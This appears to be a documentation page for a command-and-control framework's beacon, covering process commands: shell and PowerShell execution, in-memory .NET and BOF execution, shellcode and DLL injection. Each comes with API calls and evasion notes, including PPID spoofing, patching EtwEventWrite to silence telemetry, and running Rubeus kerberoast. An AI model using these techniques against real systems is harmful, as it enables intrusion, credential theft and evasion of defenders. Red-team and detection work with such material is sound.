Skip to content

Process Management

Commands for process interaction: list running processes, execute commands, spawn new processes, inject into existing processes, and kill processes on the target host.

Process management commands fall into two execution models:

  • Inline execution -- runs within the beacon process itself. No child processes are created, but a crash affects the beacon.
  • Fork-and-run -- spawns a sacrificial child process, performs work there, captures output via a named pipe, then terminates the child. Safer for the beacon but creates process artifacts.
flowchart LR
    A[Operator] -->|Shell Command| B[Backend]
    B -->|Task Queue| C[Beacon]
    C -->|Inline| D[Beacon Process<br/>Direct Execution]
    C -->|Fork & Run| E[Sacrificial Process<br/>Output via Pipe]

    style A fill:#6a1b9a,color:#fff
    style B fill:#4a148c,color:#fff
    style C fill:#311b92,color:#fff
    style D fill:#1a237e,color:#fff
    style E fill:#0d47a1,color:#fff

Command Reference

Command Syntax Execution Model Description OPSEC Impact
ps ps Inline List running processes Low
kill kill <pid> Inline Kill process by PID Low
shell shell <command> Fork-and-run Execute via cmd.exe /c High
run run <program> [args] Fork-and-run Execute without cmd.exe, capture output Medium
execute execute <program> [args] Fork-and-run Execute without cmd.exe, no output Medium
powershell powershell <command> Fork-and-run Execute via powershell.exe High
powerpick powerpick <command> Fork-and-run Unmanaged PowerShell (no powershell.exe) Medium
psinject psinject <pid> <arch> <command> Injection PowerShell in remote process High
execute-assembly execute-assembly <path> [args] Fork-and-run .NET assembly in memory Medium
execute-dll execute-dll <dll_data> [arch] Fork-and-run DLL via sRDI in sacrificial process Medium
inline-execute inline-execute <bof> [args] Inline Beacon Object File (BOF) Low
shspawn shspawn <arch> <shellcode> Fork-and-run Shellcode in sacrificial process Medium
shinject shinject <pid> <arch> <shellcode> Injection Shellcode into existing process High
dllinject dllinject <pid> <dll> Injection Reflective DLL injection High
dllload dllload <pid> <dll> Injection DLL via LoadLibrary High

Process Listing

ps

List running processes on the target host. The implant enumerates processes using NtQuerySystemInformation or CreateToolhelp32Snapshot -- no cmd.exe is spawned. Output includes PID, PPID, process name, architecture, user, and session ID.

Task type: ps (method: list)

Dedicated endpoint: POST /api/v1/cockpit/beacons/:id/processes

ps
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/processes" \
  -H "Authorization: Bearer $TOKEN"
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "ps"}'

Example output:

PID   PPID  Name                    Arch  User              Session
---   ----  ----                    ----  ----              -------
0     0     [System Process]        x64                     0
4     0     System                  x64   NT AUTHORITY\SYS  0
672   4     smss.exe                x64   NT AUTHORITY\SYS  0
788   672   csrss.exe               x64   NT AUTHORITY\SYS  0
1284  788   svchost.exe             x64   NT AUTHORITY\SYS  0
3456  1284  explorer.exe            x64   CORP\jsmith       2
5678  3456  chrome.exe              x64   CORP\jsmith       2

OPSEC

Process enumeration uses native Windows APIs without spawning child processes. This is one of the lowest-impact reconnaissance commands available. However, frequent process listing may be correlated by behavioral analytics.


Process Termination

kill

Terminate a process by PID using TerminateProcess.

Task type: kill (method: kill)

Dedicated endpoint: POST /api/v1/cockpit/beacons/:id/processes/kill

kill 5678
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/processes/kill" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"pid": 5678}'
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "kill 5678"}'

OPSEC

Terminating processes may trigger EDR alerts, especially for protected or monitored processes. Process termination events are logged by Sysmon (Event ID 5) and ETW providers.


Command Execution

Three command execution variants are available, each with different tradeoffs between OPSEC and functionality.

Task type: exec (method varies: shell, run, execute)

Execute a command via cmd.exe /c. Captures output and returns it to the operator. This is the most compatible execution method but has the highest OPSEC impact due to cmd.exe process creation.

shell whoami /all
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "shell whoami /all"}'

OPSEC

  • Spawns cmd.exe as a child process of the beacon
  • Detectable via Sysmon Event ID 1 (process creation) with cmd.exe /c command line
  • EDR products heavily monitor cmd.exe parent-child relationships
  • When PPID spoofing is enabled, cmd.exe appears under the spoofed parent
  • MITRE ATT&CK: T1059.003 (Command and Scripting Interpreter: Windows Command Shell)

Execute a program directly without cmd.exe. Captures output and returns it to the operator. Lower OPSEC impact than shell because no command interpreter is involved.

run whoami.exe /all
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "run whoami.exe /all"}'

The run command dispatches an exec task with method run, which calls CreateProcess directly for the specified program, captures stdout and stderr, and returns the combined output.

OPSEC

  • No cmd.exe intermediary -- the target program runs directly as a child of the beacon
  • Still creates a child process (visible in process tree)
  • Token inheritance: runs under the currently impersonated token if active
  • MITRE ATT&CK: T1106 (Native API)

Execute a program in the background without capturing output. The program starts and the beacon immediately returns. Use this for long-running operations or when output is not needed.

execute notepad.exe
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "execute notepad.exe"}'

Returns: Started notepad.exe (PID 4321)

OPSEC

  • No cmd.exe intermediary, no output pipe
  • Creates a detached child process
  • Process continues running after beacon reports back
  • Token inheritance: runs under the currently impersonated token if active
  • MITRE ATT&CK: T1106 (Native API)

Token Inheritance

All three execution commands (shell, run, execute) inherit the beacon's current impersonation token. If you have used steal_token or make_token to impersonate another user, child processes run under that identity. This uses CreateProcessAsUser internally via Go's SysProcAttr.Token.

PPID Spoofing

When PPID spoofing is enabled (via config ppid_target <process>), the shell command spawns cmd.exe with a fake parent process. The child appears in process tree tools under the spoofed parent (e.g., explorer.exe) instead of the beacon process.

PPID spoofing limitations

  • PPID spoofing uses PROC_THREAD_ATTRIBUTE_PARENT_PROCESS via CreateProcess
  • Output capture is not available with PPID spoofing (command runs in a separate process tree)
  • Detectable via ETW Microsoft-Windows-Kernel-Process events where EventHeader.ProcessId reveals the real parent
  • Token inheritance and PPID spoofing are mutually exclusive -- PPID spoofing takes priority

PowerShell Execution

Execute a command via powershell.exe. The beacon spawns powershell.exe as a child process, passes the command, and captures the output.

powershell Get-Process | Select-Object -First 10
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "powershell Get-Process | Select-Object -First 10"}'

OPSEC

  • Spawns powershell.exe as a child process -- heavily monitored by EDR
  • Subject to AMSI scanning (Anti-Malware Scan Interface)
  • ScriptBlock logging records the full command (Event ID 4104)
  • Module logging records imported modules (Event ID 4103)
  • PowerShell Transcription logging may capture all I/O to a transcript file
  • MITRE ATT&CK: T1059.001 (Command and Scripting Interpreter: PowerShell)

Execute PowerShell without spawning powershell.exe. Uses unmanaged PowerShell via CLR hosting in a sacrificial process. The .NET CLR is loaded into the sacrificial process, and the PowerShell command is executed through the System.Management.Automation namespace.

powerpick Get-Process | Select-Object -First 10
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "powerpick Get-Process | Select-Object -First 10"}'

OPSEC advantage

powerpick avoids spawning powershell.exe, which is the primary detection signal for PowerShell-based attacks. However, the CLR hosting in a non-PowerShell process may itself be suspicious -- EDR products monitor CLR loads (clr.dll, clrjit.dll) in unexpected processes. AMSI integration in .NET 4.8+ may still apply.

Inject a PowerShell command into a remote process. The beacon injects a CLR hosting payload into the target process, which then executes the PowerShell command.

psinject 3456 x64 Get-Process
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "psinject 3456 x64 Get-Process"}'
Parameter Description
pid Target process PID
arch Target process architecture (x86 or x64)
command PowerShell command to execute

OPSEC

  • Combines process injection with CLR hosting -- two high-visibility operations
  • The target process loads CLR DLLs (detection signal)
  • AMSI may apply within the injected CLR context
  • Cross-process injection triggers Sysmon Event ID 8 (CreateRemoteThread)
  • MITRE ATT&CK: T1055 (Process Injection) + T1059.001 (PowerShell)

.NET Assembly Execution

execute-assembly

Execute a .NET assembly in memory via CLR hosting in a sacrificial process. The assembly binary is read from the operator's machine, converted to shellcode via Donut on the Relay, and executed via fork-and-run. Output is captured via a named pipe.

Task type: execute_assembly (dispatched via Relay for Donut conversion)

execute-assembly /path/to/Seatbelt.exe -group=all
execute-assembly PATCHES: ntdll.dll,EtwEventWrite,0,c3 /path/to/Rubeus.exe kerberoast
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "execute-assembly /path/to/Seatbelt.exe -group=all"}'

How it works:

  1. Backend reads the .NET assembly file and base64-encodes it
  2. The Relay converts the assembly to shellcode using Donut (DONUT_MODULE_NET_EXE)
  3. The beacon spawns a sacrificial process (using spawnto configuration)
  4. The shellcode is injected into the sacrificial process
  5. CLR loads and executes the assembly
  6. Output is captured via a named pipe and returned to the operator
  7. The sacrificial process terminates

PATCHES prefix: Optionally specify in-memory patches to apply before execution. Format: PATCHES: dll,function,offset,hex_bytes. Common use: patch EtwEventWrite to ret (c3) to suppress ETW telemetry from the assembly.

OPSEC

  • CLR DLLs loaded in the sacrificial process: clr.dll, clrjit.dll, mscorlib.ni.dll
  • CLR loading in non-.NET processes is a strong detection signal for EDR
  • No file drops to disk -- assembly executes entirely in memory
  • Sacrificial process creation generates Sysmon Event ID 1
  • Memory forensics can recover .NET assembly artifacts
  • MITRE ATT&CK: T1059.001 (PowerShell/CLR) + T1055 (Process Injection)

execute-dll

Execute a DLL's exported function in memory via sRDI (Shellcode Reflective DLL Injection) and fork-and-run. The DLL is converted to position-independent shellcode and executed in a sacrificial process with bidirectional I/O.

Task type: postex (method: execute)

execute-dll <base64_dll_data> [x64]
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "execute-dll '$DLL_B64' x64"}'

OPSEC

  • DLL is converted to shellcode via sRDI -- no file on disk
  • Executes in a sacrificial process via fork-and-run
  • Output captured via named pipe (bidirectional I/O)
  • Detection: DLL artifacts in process memory, sacrificial process creation

BOF Execution

inline-execute

Execute a Beacon Object File (BOF) inline within the beacon process. BOFs are position-independent COFF object files that run directly in the beacon's memory space without creating a sacrificial process.

Task type: bof_execute

inline-execute /path/to/whoami.o
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "inline-execute /path/to/whoami.o"}'

How it works:

  1. Backend reads the BOF file and base64-encodes it
  2. The beacon's BOF executor resolves the BOF's imports against the Beacon API
  3. The BOF's go function executes in the beacon's own thread
  4. Output is returned via the BOF output API (BeaconPrintf, BeaconOutput)

BOF vs fork-and-run

BOFs execute inline in the beacon process, meaning no child process is created. This is the most OPSEC-friendly execution method for post-exploitation tasks. However, a crashing BOF will crash the entire beacon. Test BOFs thoroughly in a lab before production use.

OPSEC

  • No child process creation -- lowest OPSEC footprint of all execution methods
  • Executes in beacon's address space (crash risk to beacon)
  • No CLR loading, no script engines, no file drops
  • Memory-only -- BOF code is loaded, executed, and freed
  • MITRE ATT&CK: T1106 (Native API)

Fork-and-Run / Process Injection

These commands execute shellcode or DLLs either in a new sacrificial process (fork-and-run) or in an existing target process (injection).

shspawn

Execute raw shellcode in a sacrificial process via fork-and-run. The beacon spawns a new process (using the spawnto configuration), injects the shellcode, and executes it.

Task type: shspawn

shspawn x64 /path/to/shellcode.bin
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "shspawn x64 /path/to/shellcode.bin"}'
Parameter Description
arch Shellcode architecture: x86 or x64
shellcode_file Path to raw shellcode binary on the operator's machine

The shspawn command invokes the PROCESS_INJECT_SPAWN CNA hook, allowing aggressor scripts to customize the injection technique and sacrificial process selection.

OPSEC

  • Creates a sacrificial process (configurable via spawnto)
  • Process injection into the sacrificial process (Sysmon Event ID 8/10)
  • Choose a spawnto binary that blends with the target environment
  • MITRE ATT&CK: T1055 (Process Injection)

shinject

Inject shellcode into an existing process. Unlike shspawn, this targets a process that is already running, avoiding the creation of a new sacrificial process.

Task type: interop (method: shinject)

shinject 3456 x64 /path/to/shellcode.bin
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "shinject 3456 x64 /path/to/shellcode.bin"}'
Parameter Description
pid Target process PID
arch Target process architecture: x86 or x64
shellcode_file Path to raw shellcode binary on the operator's machine

The shinject command invokes the PROCESS_INJECT_EXPLICIT CNA hook for technique customization.

OPSEC

  • Cross-process injection into an existing process
  • Memory allocation in the target process (VirtualAllocEx)
  • Thread creation in the target process (CreateRemoteThread or equivalent)
  • Detectable via Sysmon Event ID 8 (CreateRemoteThread), Event ID 10 (ProcessAccess)
  • Choose a target process that normally allocates executable memory (e.g., a browser)
  • MITRE ATT&CK: T1055.001 (Dynamic-link Library Injection) or T1055.003 (Thread Execution Hijacking)

dllinject

Reflective DLL injection into a target process. The DLL is loaded into the target process's memory without calling LoadLibrary, avoiding the standard DLL load event chain.

Task type: interop (method: dllinject)

dllinject 3456 /path/to/payload.dll
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dllinject 3456 /path/to/payload.dll"}'
Parameter Description
pid Target process PID
dll_file Path to the DLL on the operator's machine

OPSEC

  • Reflective loading avoids the standard LdrLoadDll / LoadLibrary event chain
  • Memory allocated as MEM_PRIVATE (not MEM_IMAGE) -- detectable by memory scanners
  • No Sysmon Event ID 7 (DLL load) because LoadLibrary is not called
  • Cross-process memory writes and thread creation are still visible
  • MITRE ATT&CK: T1055.001 (Dynamic-link Library Injection)

dllload

Load a DLL into a target process via LoadLibrary. Unlike dllinject, this uses the standard Windows DLL loading mechanism, which triggers DLL load events.

Task type: interop (method: dllload)

dllload 3456 C:\Users\Public\payload.dll
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dllload 3456 C:\\Users\\Public\\payload.dll"}'
Parameter Description
pid Target process PID
dll_path Path to the DLL on the target filesystem

OPSEC

  • Uses LoadLibrary -- triggers Sysmon Event ID 7 (DLL load)
  • DLL must exist on the target's filesystem (not operator's machine)
  • DLL file is subject to AV/EDR static scanning on disk
  • MEM_IMAGE backing -- looks legitimate in memory scans
  • Simpler than reflective injection but more detectable on disk
  • MITRE ATT&CK: T1055.001 (Dynamic-link Library Injection)

Task Type Reference

Command Task Type Module Method
ps ps ps list
kill kill kill kill
shell exec exec shell (default)
run exec exec run
execute exec exec execute
powershell exec exec shell (via powershell.exe)
powerpick exec exec (unmanaged CLR)
psinject interop interop psinject
execute-assembly execute_assembly Relay + shspawn Donut conversion + fork-and-run
execute-dll postex postex execute (sRDI)
inline-execute bof_execute bof BOF inline
shspawn shspawn shspawn Fork-and-run
shinject interop interop shinject
dllinject interop interop dllinject
dllload interop interop dllload

Execution Model Comparison

Model Child Process Crash Impact Output Capture OPSEC Level
Inline (BOF) None Beacon crash Yes (BOF API) Best
Fork-and-run (shspawn, execute-assembly) Sacrificial Child crash only Yes (named pipe) Good
Run/Execute (run, execute) Direct child Child crash only Yes/No Medium
Shell (shell, powershell) cmd.exe/powershell.exe Child crash only Yes Worst
Injection (shinject, dllinject) None (existing) Target crash Limited High risk

Choosing the right execution method

  1. BOF first -- if a BOF exists for the task, use inline-execute. No process creation, lowest footprint.
  2. execute-assembly second -- for .NET tools (Seatbelt, Rubeus, SharpHound), use execute-assembly. Fork-and-run protects the beacon.
  3. run for native tools -- use run instead of shell to avoid cmd.exe. Only use shell when you need shell features (pipes, redirects, environment variables).
  4. powerpick over powershell -- always prefer powerpick to avoid spawning powershell.exe.
  5. Injection last -- shinject and dllinject are powerful but risk crashing the target process. Use carefully.